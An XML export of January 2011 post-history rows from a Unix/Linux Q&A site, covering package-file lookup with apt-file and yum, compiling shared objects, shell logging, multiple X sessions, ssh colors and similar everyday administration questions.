  <row Id="14396" PostHistoryTypeId="2" PostId="6314" RevisionGUID="c49725ed-a670-4b23-be64-ae65ac566b48" CreationDate="2011-01-23T11:20:28.503" UserId="3069" Text="`apt-file` provides the feature of searching for a package providing a binary (like [debian][1] or [ubuntu][2]), it's not installed by default but in the repositories.&#xD;&#xA;&#xD;&#xA;    apt-file search &lt;path-to-file&gt;&#xD;&#xA;&#xD;&#xA;For example, let's search for the not installed binary `mysqldump`:&#xD;&#xA;&#xD;&#xA;    $ apt-file search /usr/bin/mysqldump&#xD;&#xA;&#xD;&#xA;    mysql-client-5.1: /usr/bin/mysqldump&#xD;&#xA;    mysql-client-5.1: /usr/bin/mysqldumpslow&#xD;&#xA;    mysql-cluster-client-5.1: /usr/bin/mysqldump&#xD;&#xA;    mysql-cluster-client-5.1: /usr/bin/mysqldumpslow&#xD;&#xA;&#xD;&#xA;It's also possible to list the contents of a (not-installed) package:&#xD;&#xA;&#xD;&#xA;    $ apt-file list mysql-client-5.1&#xD;&#xA;&#xD;&#xA;    mysql-client-5.1: /usr/bin/innochecksum&#xD;&#xA;    mysql-client-5.1: /usr/bin/innotop&#xD;&#xA;    mysql-client-5.1: /usr/bin/myisam_ftdump&#xD;&#xA;    mysql-client-5.1: /usr/bin/mysql_client_test&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org&#xD;&#xA;  [2]: http://packages.ubuntu.com" />
  <row Id="14397" PostHistoryTypeId="5" PostId="6309" RevisionGUID="58ad8699-97da-4637-b782-0ac85e38d042" CreationDate="2011-01-23T11:26:37.060" UserId="3069" Comment="added 71 characters in body; edited tags; edited title" Text="I'm using openSUSE 11.3 with &quot;latest updates&quot;.&#xD;&#xA;I have installed `vimprobable` and [`uzbl`][1].&#xD;&#xA;&#xD;&#xA;Whenever I start one of those two browsers, I get the error message:&#xD;&#xA;&#xD;&#xA;&gt;icedteanp plugin error: Failed to run etc/alternatives/../../bin/java.  &#xD;&#xA; For more detail rerun &quot;firefox -g&quot; in a terminal window.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;After some time (about 1 minute), the message disappears by itself (or when I click the &quot;close&quot; button). The browser(s) continue loading and again, this error appears on specific sites.  &#xD;&#xA;&#xD;&#xA;What can I do to fix this problem?  &#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.uzbl.org/" />
  <row Id="14398" PostHistoryTypeId="4" PostId="6309" RevisionGUID="58ad8699-97da-4637-b782-0ac85e38d042" CreationDate="2011-01-23T11:26:37.060" UserId="3069" Comment="added 71 characters in body; edited tags; edited title" Text="How to fix icedteanp plugin error?" />
  <row Id="14399" PostHistoryTypeId="6" PostId="6309" RevisionGUID="58ad8699-97da-4637-b782-0ac85e38d042" CreationDate="2011-01-23T11:26:37.060" UserId="3069" Comment="added 71 characters in body; edited tags; edited title" Text="éopensuseàéjavaàébrowserà" />
  <row Id="14400" PostHistoryTypeId="5" PostId="4705" RevisionGUID="9f540b5c-0b31-46dd-b78d-48d80e69e07c" CreationDate="2011-01-23T11:29:27.210" UserId="688" Comment="added 118 characters in body" Text="In the Debian family of OSes, `dpkg --search /bin/ls` gives:&#xD;&#xA;&#xD;&#xA;    coreutils: /bin/ls&#xD;&#xA;&#xD;&#xA;That is, the file `/bin/ls` belongs to the Debian package named __coreutils__. (see [this post][1] if you are interested in a package containing a file that isn't installed)&#xD;&#xA;&#xD;&#xA;What is the Fedora equivalent?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/6311/how-to-find-out-which-uninstalled-package-a-file-belongs-to" />
  <row Id="14401" PostHistoryTypeId="5" PostId="6314" RevisionGUID="9f93cbfc-ed45-4c77-9ce2-5dd56bfe4972" CreationDate="2011-01-23T11:38:30.673" UserId="3069" Comment="added 578 characters in body" Text="**apt**&#xD;&#xA;&#xD;&#xA;`apt-file` provides the feature of searching for a package providing a binary (like [debian][1] or [ubuntu][2]), it's not installed by default but in the repositories.&#xD;&#xA;&#xD;&#xA;    apt-file search &lt;path-to-file&gt;&#xD;&#xA;&#xD;&#xA;For example, let's search for the not installed binary `mysqldump`:&#xD;&#xA;&#xD;&#xA;    $ apt-file search /usr/bin/mysqldump&#xD;&#xA;&#xD;&#xA;    mysql-client-5.1: /usr/bin/mysqldump&#xD;&#xA;    mysql-client-5.1: /usr/bin/mysqldumpslow&#xD;&#xA;    mysql-cluster-client-5.1: /usr/bin/mysqldump&#xD;&#xA;    mysql-cluster-client-5.1: /usr/bin/mysqldumpslow&#xD;&#xA;&#xD;&#xA;It's also possible to list the contents of a (not-installed) package:&#xD;&#xA;&#xD;&#xA;    $ apt-file list mysql-client-5.1&#xD;&#xA;&#xD;&#xA;    mysql-client-5.1: /usr/bin/innochecksum&#xD;&#xA;    mysql-client-5.1: /usr/bin/innotop&#xD;&#xA;    mysql-client-5.1: /usr/bin/myisam_ftdump&#xD;&#xA;    mysql-client-5.1: /usr/bin/mysql_client_test&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**yum**&#xD;&#xA;&#xD;&#xA;`yum` has the command `whatprovides` (or `provides`) to search for installed or not installed binaries:&#xD;&#xA;&#xD;&#xA;    yum whatprovides &lt;path-to-file&gt;&#xD;&#xA;&#xD;&#xA;Again, the not installed `mysqldump`:&#xD;&#xA;&#xD;&#xA;    $ yum whatprovides /usr/bin/mysqldump&#xD;&#xA;&#xD;&#xA;    mysql-5.1.51-2.fc14.i686 : MySQL client programs and shared libraries&#xD;&#xA;    Repo        : fedora&#xD;&#xA;    Matched from: &#xD;&#xA;    Filename    : /usr/bin/mysqldump&#xD;&#xA;&#xD;&#xA;    mysql-5.1.51-1.fc14.i686 : MySQL client programs and shared libraries&#xD;&#xA;    Repo        : fedora&#xD;&#xA;    Matched from: &#xD;&#xA;    Filename    : /usr/bin/mysqldump&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org&#xD;&#xA;  [2]: http://packages.ubuntu.com" />
  <row Id="14403" PostHistoryTypeId="4" PostId="6311" RevisionGUID="fbf100f9-514c-4857-9334-adad748b0ad5" CreationDate="2011-01-23T12:15:13.017" UserId="688" Comment="clarity" Text="How to find out which (not installed) package a file belongs to?" />
  <row Id="14404" PostHistoryTypeId="2" PostId="6316" RevisionGUID="911f151f-e9fc-4cdf-acf0-2bcd2ee1ab8b" CreationDate="2011-01-23T12:50:24.523" UserId="3378" Text="Hello...  &#xD;&#xA;I have little experience with LINUX . I am using Debian.   &#xD;&#xA;It has a library glibc which has several useffull programs.  &#xD;&#xA;iconv is the program that i want to use to do several charset conversions...  &#xD;&#xA;However i want to create my charset to use it at a really old from 1978 dot matrix  heavy duty printer which has a custom charset for my language...  Capital latin /greek only 7 bit  &#xD;&#xA;So i should write my own module for iconv...  &#xD;&#xA;I found how to configure it and make it but i dont know how to do the compilation.. from source .c file to .so file....&#xD;&#xA;If there is no solution i will try to build from source the libc libray and copy the .so file that it should generate (think so)..." />
  <row Id="14405" PostHistoryTypeId="1" PostId="6316" RevisionGUID="911f151f-e9fc-4cdf-acf0-2bcd2ee1ab8b" CreationDate="2011-01-23T12:50:24.523" UserId="3378" Text="How to build-compile a .c file...." />
  <row Id="14406" PostHistoryTypeId="3" PostId="6316" RevisionGUID="911f151f-e9fc-4cdf-acf0-2bcd2ee1ab8b" CreationDate="2011-01-23T12:50:24.523" UserId="3378" Text="édebianàécharacteröencodingà" />
  <row Id="14407" PostHistoryTypeId="2" PostId="6317" RevisionGUID="b0e8a0ce-5a83-4a92-87c9-2e9cfe85c3a6" CreationDate="2011-01-23T13:44:19.907" UserId="688" Text="A quick search led me to [this HOWTO][1]. I have no experience with this, but your command will look similar like this:&#xD;&#xA;&#xD;&#xA;    gcc -shared -Wl,-soname,your_soname -o library_name file_list library_list&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adp-gmbh.ch/cpp/gcc/create_lib.html" />
  <row Id="14408" PostHistoryTypeId="2" PostId="6318" RevisionGUID="e5aebf73-6baa-4703-b28f-3591151b533d" CreationDate="2011-01-23T13:46:55.640" UserId="2258" Text="Well, unfortunately, I ended up giving up.  I did some testing under VirtualBox on my machine and had no problem installing and working with several distros with 256-384MB of RAM, yet I was unable to get any to install on that Celeron.  It's heading out for recycling.  The newer Linux kernels really don't seem to be tolerant of older hardware.  I had to recycle a couple of my own boxes recently as they just wouldn't take newer Linux versions (despite older ones working fine, and having plenty of hardware).  I guess the kernel team must have had to start dumping support for older hardware in order to move forward.  :-(" />
  <row Id="14409" PostHistoryTypeId="2" PostId="6319" RevisionGUID="4323be78-266e-4e28-b6fe-17d7c1336ba9" CreationDate="2011-01-23T13:49:42.827" UserId="4098" Text="Hello everyone.&#xD;&#xA;&#xD;&#xA;I am currently working on implementing my own UNIX shell in C. The basis of the shell is working, you could find [the source code here][1].&#xD;&#xA;&#xD;&#xA;Right now my next task is to implement a logging feature for the shell. So here's my question:&#xD;&#xA;&#xD;&#xA;What are the UNIX/Linux best practices to do that? The simple way would be to open a file and write to it every time. But I was wondering if there is a function that would take care of that for me, helping me produce ... &quot;cleaner&quot;... code. &#xD;&#xA;&#xD;&#xA;Thank you in advance for your help, I'm quite new to programming, but I want to do things right. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PS: If you have any general remarks about the rest of the code, they'd be greatly appreciated :-)&#xD;&#xA;  [1]: https://github.com/rahmu/Agros" />
  <row Id="14410" PostHistoryTypeId="1" PostId="6319" RevisionGUID="4323be78-266e-4e28-b6fe-17d7c1336ba9" CreationDate="2011-01-23T13:49:42.827" UserId="4098" Text="Implementing a Unix shell in C: Logging" />
  <row Id="14411" PostHistoryTypeId="3" PostId="6319" RevisionGUID="4323be78-266e-4e28-b6fe-17d7c1336ba9" CreationDate="2011-01-23T13:49:42.827" UserId="4098" Text="écommandölineàéshellàécàéprogrammingàésystemöprogrammingà" />
  <row Id="14412" PostHistoryTypeId="25" PostId="6311" RevisionGUID="daa4ce6b-a880-4752-92e2-ff559394431b" CreationDate="2011-01-23T13:55:47.767" Comment="http://twitter.com/#!/StackUnix/status/29175465717534720" />
  <row Id="14414" PostHistoryTypeId="2" PostId="6320" RevisionGUID="0c8d84e0-2cb2-4639-b9dd-f9358494366d" CreationDate="2011-01-23T15:12:36.890" UserId="3886" Text="Common practice for logging is to use syslog. It's quite simple and does not require much code.&#xD;&#xA;If you need something else - look at logging libraries like [liblogging][1] or [log4c][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.liblogging.org/&#xD;&#xA;  [2]: http://log4c.sourceforge.net/" />
  <row Id="14415" PostHistoryTypeId="2" PostId="6321" RevisionGUID="b7cbc316-6a8b-4b23-90ae-ec866880488c" CreationDate="2011-01-23T15:13:03.160" UserId="2180" Text="Typically command history is saved to a hidden file in the user's home directory. Other than that, you can log to stderr or [syslog][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/3/syslog" />
  <row Id="14416" PostHistoryTypeId="5" PostId="6316" RevisionGUID="3360c703-b051-4604-8508-d2311bf3e9b6" CreationDate="2011-01-23T15:17:55.183" UserId="2180" Comment="spelling useffull -&gt; useful; edited tags" Text="Hello...  &#xD;&#xA;I have little experience with LINUX . I am using Debian.   &#xD;&#xA;It has a library glibc which has several useful programs.  &#xD;&#xA;iconv is the program that i want to use to do several charset conversions...  &#xD;&#xA;However i want to create my charset to use it at a really old from 1978 dot matrix  heavy duty printer which has a custom charset for my language...  Capital latin /greek only 7 bit  &#xD;&#xA;So i should write my own module for iconv...  &#xD;&#xA;I found how to configure it and make it but i dont know how to do the compilation.. from source .c file to .so file....&#xD;&#xA;If there is no solution i will try to build from source the libc libray and copy the .so file that it should generate (think so)..." />
  <row Id="14417" PostHistoryTypeId="6" PostId="6316" RevisionGUID="3360c703-b051-4604-8508-d2311bf3e9b6" CreationDate="2011-01-23T15:17:55.183" UserId="2180" Comment="spelling useffull -&gt; useful; edited tags" Text="édebianàécompilingàécharacteröencodingàésharedöobjectsà" />
  <row Id="14418" PostHistoryTypeId="2" PostId="6322" RevisionGUID="7be788d3-0fdb-4283-8bf7-d55b63f171a4" CreationDate="2011-01-23T15:43:12.420" UserId="250" Text="Let's say I have a Firefox window downloading a big file that will take a lot of time. Now that it's running halfway and I want to switch to another DE (for example from GNOME to KDE), can I do that without interrupting the download?" />
  <row Id="14419" PostHistoryTypeId="1" PostId="6322" RevisionGUID="7be788d3-0fdb-4283-8bf7-d55b63f171a4" CreationDate="2011-01-23T15:43:12.420" UserId="250" Text="Can I keep applications running across X sessions?" />
  <row Id="14420" PostHistoryTypeId="3" PostId="6322" RevisionGUID="7be788d3-0fdb-4283-8bf7-d55b63f171a4" CreationDate="2011-01-23T15:43:12.420" UserId="250" Text="éxorgà" />
  <row Id="14421" PostHistoryTypeId="2" PostId="6323" RevisionGUID="120a67bd-30db-4f7c-980e-c5a1dcd4c782" CreationDate="2011-01-23T16:16:54.090" UserId="688" Text="Yes you can. If you use GNOME, click on **System**-&gt;**Log Out username**, which will bring this dialogue:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;Clicking on user __Switch User__ takes me to a gdm window, which asks me which user I want to switch to. Once you are done with the login, you can always switch back to the original user with either &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;F7&lt;/kbd&gt; or by using the same sequence of commands I stated above.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/tPZz4.png" />
  <row Id="14422" PostHistoryTypeId="5" PostId="6322" RevisionGUID="00d3cb75-e5ca-4c5f-a224-fe99c454aa53" CreationDate="2011-01-23T16:43:47.517" UserId="250" Comment="added 105 characters in body" Text="Let's say I have a Firefox window downloading a big file that will take a lot of time. Now that it's running halfway and I want to switch to another DE (for example from GNOME to KDE), can I do that without interrupting the download?&#xD;&#xA;&#xD;&#xA;EDIT: I'm not using GDM or KDM or any desktop manager, which may make the situation more difficult..." />
  <row Id="14423" PostHistoryTypeId="25" PostId="6322" RevisionGUID="5cf50a6b-b32c-492c-941f-b09d3f80da06" CreationDate="2011-01-23T16:55:47.760" Comment="http://twitter.com/#!/StackUnix/status/29220763986829312" />
  <row Id="14424" PostHistoryTypeId="2" PostId="6324" RevisionGUID="255ebf4d-e04b-42a6-8509-b717f1feb0ea" CreationDate="2011-01-23T17:11:37.223" UserId="2180" Text="You have to leave the original X server running. You can start another X server on another tty. So, on a typical system, do ctrl-alt-f1, then log in and run `startx -- :1`. You should end up with another X session on reachable by ctrl-alt-f8." />
  <row Id="14425" PostHistoryTypeId="5" PostId="6324" RevisionGUID="5865f967-bc2c-44e6-99ae-6a849a8eb942" CreationDate="2011-01-23T17:16:56.377" UserId="2180" Comment="Added markup to button combos." Text="You have to leave the original X server running. You can start another X server on another tty. So, on a typical system, do &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;f1&lt;/kbd&gt;, then log in and run `startx -- :1`. You should end up with another X session on reachable by  &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;f8&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Any number of X servers can be started, I don't know how to get to ones after you run out of f-keys" />
  <row Id="14426" PostHistoryTypeId="2" PostId="6325" RevisionGUID="c0f9ed68-566e-4ab7-99a3-c3aaa708aee9" CreationDate="2011-01-23T17:52:41.877" UserId="2630" Text="I am attempting to keep a nested ssh session inside of a byobu/screen window, which I also connect to over SSH with Putty on Windows. &#xD;&#xA;&#xD;&#xA;However the nested SSH session has no color. Here's what I'm talking about:&#xD;&#xA;&#xD;&#xA;![Lack of color][1]&#xD;&#xA;&#xD;&#xA;On the left you have byobu connected to `wreckcreations` with no color. On the right you have Putty connected directly to `wreckcreations` with color. Note that normally byobu has color when working locally. &#xD;&#xA;&#xD;&#xA;I tried messing with `$TERM`, `$PSI`, and other variables to no avail. Any idea's what would cause this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/oO0RL.png" />
  <row Id="14427" PostHistoryTypeId="1" PostId="6325" RevisionGUID="c0f9ed68-566e-4ab7-99a3-c3aaa708aee9" CreationDate="2011-01-23T17:52:41.877" UserId="2630" Text="Nested ssh session inside screen has no color" />
  <row Id="14428" PostHistoryTypeId="3" PostId="6325" RevisionGUID="c0f9ed68-566e-4ab7-99a3-c3aaa708aee9" CreationDate="2011-01-23T17:52:41.877" UserId="2630" Text="ésshàéscreenàéputtyàébyobuà" />
  <row Id="14429" PostHistoryTypeId="5" PostId="6324" RevisionGUID="ad81e4bc-4ef1-4b5a-b901-2344c896e0bf" CreationDate="2011-01-23T18:27:12.263" UserId="2180" Comment="Add details about starting a specific desktop environment." Text="You have to leave the original X server running. You can start another X server on another tty. So, on a typical system, do &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;f1&lt;/kbd&gt;, then log in and run `startx -- :1`. You should end up with another X session on reachable by  &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;f8&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Any number of X servers can be started by changing the number after the colon; I don't know how to get to ones after you run out of f-keys.&#xD;&#xA;&#xD;&#xA;If you want, you can setup special `.xinitrc` files that start different desktop environments. So you might have a `.xinitrc-kde` that starts a KDE session. In that file, you'd have something like `exec startkde`. And you'd start X like by doing `startx ./.xinitrc-kde -- :1`." />
  <row Id="14430" PostHistoryTypeId="5" PostId="6324" RevisionGUID="dc517a38-2e49-4089-b1d3-500f1bfd38f1" CreationDate="2011-01-23T18:32:33.473" UserId="2180" Comment="Add warning about multiple instances of Firefox." Text="You have to leave the original X server running. You can start another X server on another tty. So, on a typical system, do &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;f1&lt;/kbd&gt;, then log in and run `startx -- :1`. You should end up with another X session on reachable by  &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;f8&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Any number of X servers can be started by changing the number after the colon; I don't know how to get to ones after you run out of f-keys.&#xD;&#xA;&#xD;&#xA;If you want, you can setup special `.xinitrc` files that start different desktop environments. So you might have a `.xinitrc-kde` that starts a KDE session. In that file, you'd have something like `exec startkde`. And you'd start X like by doing `startx ./.xinitrc-kde -- :1`.&#xD;&#xA;&#xD;&#xA;If you plan on running Firefox on both the sessions, there may be some issues. Look into the &quot;no-remote&quot; and &quot;ProfileManager&quot; [command line options for Firefox][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kb.mozillazine.org/Command_line_arguments" />
  <row Id="14431" PostHistoryTypeId="5" PostId="6214" RevisionGUID="b23f91f0-3daa-49a8-bc63-20d0b108c121" CreationDate="2011-01-23T18:56:36.453" UserId="2231" Comment="deleted 3 characters in body" Text="You can add your completer to the list of completers used by default:&#xD;&#xA;&#xD;&#xA;    zstyle ':completion:*' completer _last_command_args _complete&#xD;&#xA;" />
  <row Id="14432" PostHistoryTypeId="2" PostId="6326" RevisionGUID="4774b3a1-101d-4d87-b089-f949592d38ad" CreationDate="2011-01-23T19:04:42.293" UserId="4104" Text="mate, it's awfully simple:&#xD;&#xA;&#xD;&#xA;a) set GRUB4DOS to boot from ISO, (which is what you probably done already)&lt;br&gt;&#xD;&#xA;b) when Ubuntu Installer bitches about no CD-ROM select go to shell console option,&lt;br&gt;&#xD;&#xA;c) use a set of commands like this one:&lt;br&gt;&#xD;&#xA;mkdir /mnt/tmp&lt;br&gt;&#xD;&#xA;mount /dev/---your USB dev path here, probably sdb1 if you have 1 HDD--- ~/mnt/tmp&lt;br&gt;&#xD;&#xA;mount -o loop -t iso9660 ---path to ISO on your USB--- /cdrom&lt;br&gt;&#xD;&#xA;exit&lt;br&gt;&#xD;&#xA;d) go back to installer and enjoy&lt;br&gt;&#xD;&#xA;&#xD;&#xA;hope it helps somebody... i've spent lots of time looking for this solution, until finally coming to it by myself.&#xD;&#xA;&#xD;&#xA;Vaxquis" />
  <row Id="14433" PostHistoryTypeId="5" PostId="6326" RevisionGUID="affc272c-995a-4e94-8538-390a1af57a96" CreationDate="2011-01-23T19:26:59.753" UserId="3069" Comment="deleted 4 characters in body" Text="It's awfully simple:&#xD;&#xA;&#xD;&#xA;1. Set GRUB4DOS to boot from ISO, (which is what you probably done already)  &#xD;&#xA;2. When Ubuntu Installer complains about no CD-ROM select go to shell console option,  &#xD;&#xA;3. Use a set of commands like this one:  &#xD;&#xA;&#xD;&#xA;        mkdir /mnt/tmp&#xD;&#xA;        mount /dev/&lt;your USB dev path here, probably sdb1 if you have 1 HDD&gt; ~/mnt/tmp&#xD;&#xA;        mount -o loop -t iso9660 &lt;path to ISO on your USB&gt; /cdrom&#xD;&#xA;        exit&#xD;&#xA;4. Go back to installer and enjoy&#xD;&#xA;&#xD;&#xA;Hope it helps somebody... I've spent lots of time looking for this solution, until finally coming to it by myself.&#xD;&#xA;&#xD;&#xA;Vaxquis" />
  <row Id="14434" PostHistoryTypeId="8" PostId="6326" RevisionGUID="3cca2f58-5611-4583-a68d-233249bf52d3" CreationDate="2011-01-23T19:27:10.503" UserId="3069" Comment="Rollback to [4774b3a1-101d-4d87-b089-f949592d38ad]" Text="mate, it's awfully simple:&#xD;&#xA;&#xD;&#xA;a) set GRUB4DOS to boot from ISO, (which is what you probably done already)&lt;br&gt;&#xD;&#xA;b) when Ubuntu Installer bitches about no CD-ROM select go to shell console option,&lt;br&gt;&#xD;&#xA;c) use a set of commands like this one:&lt;br&gt;&#xD;&#xA;mkdir /mnt/tmp&lt;br&gt;&#xD;&#xA;mount /dev/---your USB dev path here, probably sdb1 if you have 1 HDD--- ~/mnt/tmp&lt;br&gt;&#xD;&#xA;mount -o loop -t iso9660 ---path to ISO on your USB--- /cdrom&lt;br&gt;&#xD;&#xA;exit&lt;br&gt;&#xD;&#xA;d) go back to installer and enjoy&lt;br&gt;&#xD;&#xA;&#xD;&#xA;hope it helps somebody... i've spent lots of time looking for this solution, until finally coming to it by myself.&#xD;&#xA;&#xD;&#xA;Vaxquis" />
  <row Id="14435" PostHistoryTypeId="5" PostId="6326" RevisionGUID="4a9e7195-3acb-4be2-9bc5-024292c2127b" CreationDate="2011-01-23T19:27:32.560" UserId="3069" Comment="deleted 11 characters in body; deleted 4 characters in body" Text="It's awfully simple:&#xD;&#xA;&#xD;&#xA;1. Set GRUB4DOS to boot from ISO, (which is what you probably done already)  &#xD;&#xA;2. When Ubuntu Installer complains about no CD-ROM select go to shell console option,  &#xD;&#xA;3. Use a set of commands like this one:  &#xD;&#xA;&#xD;&#xA;        mkdir /mnt/tmp&#xD;&#xA;        mount /dev/&lt;your USB dev path here, probably sdb1 if you have 1 HDD&gt; ~/mnt/tmp&#xD;&#xA;        mount -o loop -t iso9660 &lt;path to ISO on your USB&gt; /cdrom&#xD;&#xA;        exit&#xD;&#xA;4. Go back to installer and enjoy&#xD;&#xA;&#xD;&#xA;Hope it helps somebody... I've spent lots of time looking for this solution, until finally coming to it by myself." />
  <row Id="14436" PostHistoryTypeId="25" PostId="6325" RevisionGUID="acb6149b-a788-4fa8-9e7c-9ad85479b1bf" CreationDate="2011-01-23T19:55:47.853" Comment="http://twitter.com/#!/StackUnix/status/29266062881062913" />
  <row Id="14437" PostHistoryTypeId="2" PostId="6327" RevisionGUID="bd3f992e-d455-42f2-84fa-2fabc2060a58" CreationDate="2011-01-23T20:44:29.580" UserId="688" Text="It often happens that a movie I'm watching has audio loudness levels set too low. Since I use a typical laptop, I can't just go raise the volume level of my speakers.&#xD;&#xA;&#xD;&#xA;I've raised all knobs offered by GNOME's Volume Control.&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;Are there tools out there that would allow me to take the loudness to beyond 100% level?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/iIU21.png" />
  <row Id="14438" PostHistoryTypeId="1" PostId="6327" RevisionGUID="bd3f992e-d455-42f2-84fa-2fabc2060a58" CreationDate="2011-01-23T20:44:29.580" UserId="688" Text="Is there a tool that lets me exagerrate audio levels?" />
  <row Id="14439" PostHistoryTypeId="3" PostId="6327" RevisionGUID="bd3f992e-d455-42f2-84fa-2fabc2060a58" CreationDate="2011-01-23T20:44:29.580" UserId="688" Text="éaudioà" />
  <row Id="14440" PostHistoryTypeId="5" PostId="787" RevisionGUID="c81e037c-b2c2-469f-8c80-88d5fa18a216" CreationDate="2011-01-23T20:53:42.983" UserId="73" Comment="added 58 characters in body" Text="[Snort][1] &#xD;&#xA;&#xD;&#xA;From [their about page](http://www.snort.org/snort):&#xD;&#xA;&#xD;&#xA;&gt; Originally released in 1998 by Sourcefire founder and CTO Martin Roesch, Snort is a free, open source network intrusion detection and prevention system capable of performing real-time traffic analysis and packet logging on IP networks. Initially called a “lightweight” intrusion detection technology, Snort has evolved into a mature, feature-rich IPS technology that has become the de facto standard in intrusion detection and prevention. With nearly 4 million downloads and approximately 300,000 registered users Snort, it is the most widely deployed intrusion prevention technology in the world.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.snort.org/" />
  <row Id="14442" PostHistoryTypeId="2" PostId="6329" RevisionGUID="0386068b-ed3a-49e0-b931-1c61f7c5eacd" CreationDate="2011-01-23T21:20:00.673" UserId="3929" Text="VLC lets you raise volume beyond what it calls 100%, and I assume it does that by an appropriate filter. Probably mplayer has one, too, but that involves reading the manpage, which you can do for yourself. ;)&#xD;&#xA;&#xD;&#xA;So, short answer: look to your player program for a solution. (Though it's possible that you can globally configure something in ALSA.)" />
  <row Id="14444" PostHistoryTypeId="2" PostId="6330" RevisionGUID="dc912faa-0ce3-4525-b25d-2554641e38ec" CreationDate="2011-01-23T22:00:42.667" UserId="885" Text="If you've planned in advance that you want to access one application from several different X sessions, you can run it inside a virtual X server: the application displays inside the virtual X server, and the virtual X server appears as a window inside any number of real X servers.&#xD;&#xA;&#xD;&#xA;One possibility for the virtual X server is [**VNC**](http://en.wikipedia.org/wiki/Virtual_Network_Computing). Start the `vncserver` program; this creates a virtual X server and runs `~/.vnc/xstartup`, which typically runs `~/.xinitrc` like [`startx`](http://www.x.org/archive/X11R7.5/doc/man/man1/startx.1.html). Then call `xvncviewer` to show a window containing the virtual X server's display. The virtual server keeps running until the session exits or you run `vncserver -kill`; you can connect and disconnect viewers at will. You may need to specify a display number on the command line, e.g. `vncserver :3` and `xvncviewer :3`. VNC sessions can be accessed from different machines if no firewall gets in the way: `xvncviewer somehost:3`. There are multiple implementations of VNC servers and viewers.&#xD;&#xA;" />
  <row Id="14445" PostHistoryTypeId="2" PostId="6331" RevisionGUID="5d7c6562-9bc5-4c5d-831b-c2b571bd1189" CreationDate="2011-01-23T22:04:13.367" UserId="4108" Text="Is SCADA one of the RTOS out there (it's used for real-time control and data acquisition)?" />
  <row Id="14446" PostHistoryTypeId="1" PostId="6331" RevisionGUID="5d7c6562-9bc5-4c5d-831b-c2b571bd1189" CreationDate="2011-01-23T22:04:13.367" UserId="4108" Text="Is SCADA an RTOS?" />
  <row Id="14447" PostHistoryTypeId="3" PostId="6331" RevisionGUID="5d7c6562-9bc5-4c5d-831b-c2b571bd1189" CreationDate="2011-01-23T22:04:13.367" UserId="4108" Text="érealötimeà" />
  <row Id="14448" PostHistoryTypeId="2" PostId="6332" RevisionGUID="622a2592-23ac-49ad-bab4-30845d140dcf" CreationDate="2011-01-23T22:11:45.663" UserId="1049" Text="I sometimes get a little confused by all of the signals that an application can receive. As I understand it, an application has a default handler for each of these signals, but it can provide its own handler by calling `sigaction()`.&#xD;&#xA;&#xD;&#xA;So here is my question: what causes each of the signals to be sent? I realize that you can manually send signals to running applications via the `-s` parameter to `kill`, but what are the *natural* circumstances under which these signals are sent? For example, when does `SIGINT` get sent?&#xD;&#xA;&#xD;&#xA;Also, are there any restrictions on which signals can be handled? Can even `SIGSEGV` signals be processed and control returned to the application?" />
  <row Id="14449" PostHistoryTypeId="1" PostId="6332" RevisionGUID="622a2592-23ac-49ad-bab4-30845d140dcf" CreationDate="2011-01-23T22:11:45.663" UserId="1049" Text="What causes various signals to be sent?" />
  <row Id="14450" PostHistoryTypeId="3" PostId="6332" RevisionGUID="622a2592-23ac-49ad-bab4-30845d140dcf" CreationDate="2011-01-23T22:11:45.663" UserId="1049" Text="ésignalsà" />
  <row Id="14451" PostHistoryTypeId="2" PostId="6333" RevisionGUID="826b0b67-181d-47a8-affe-cbc3552f9c3f" CreationDate="2011-01-23T22:12:05.977" UserId="2180" Text="According to the [Wikipedia article][1], SCADA is a description of a type of system (specifically industrial control systems), not any one particular thing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/SCADA" />
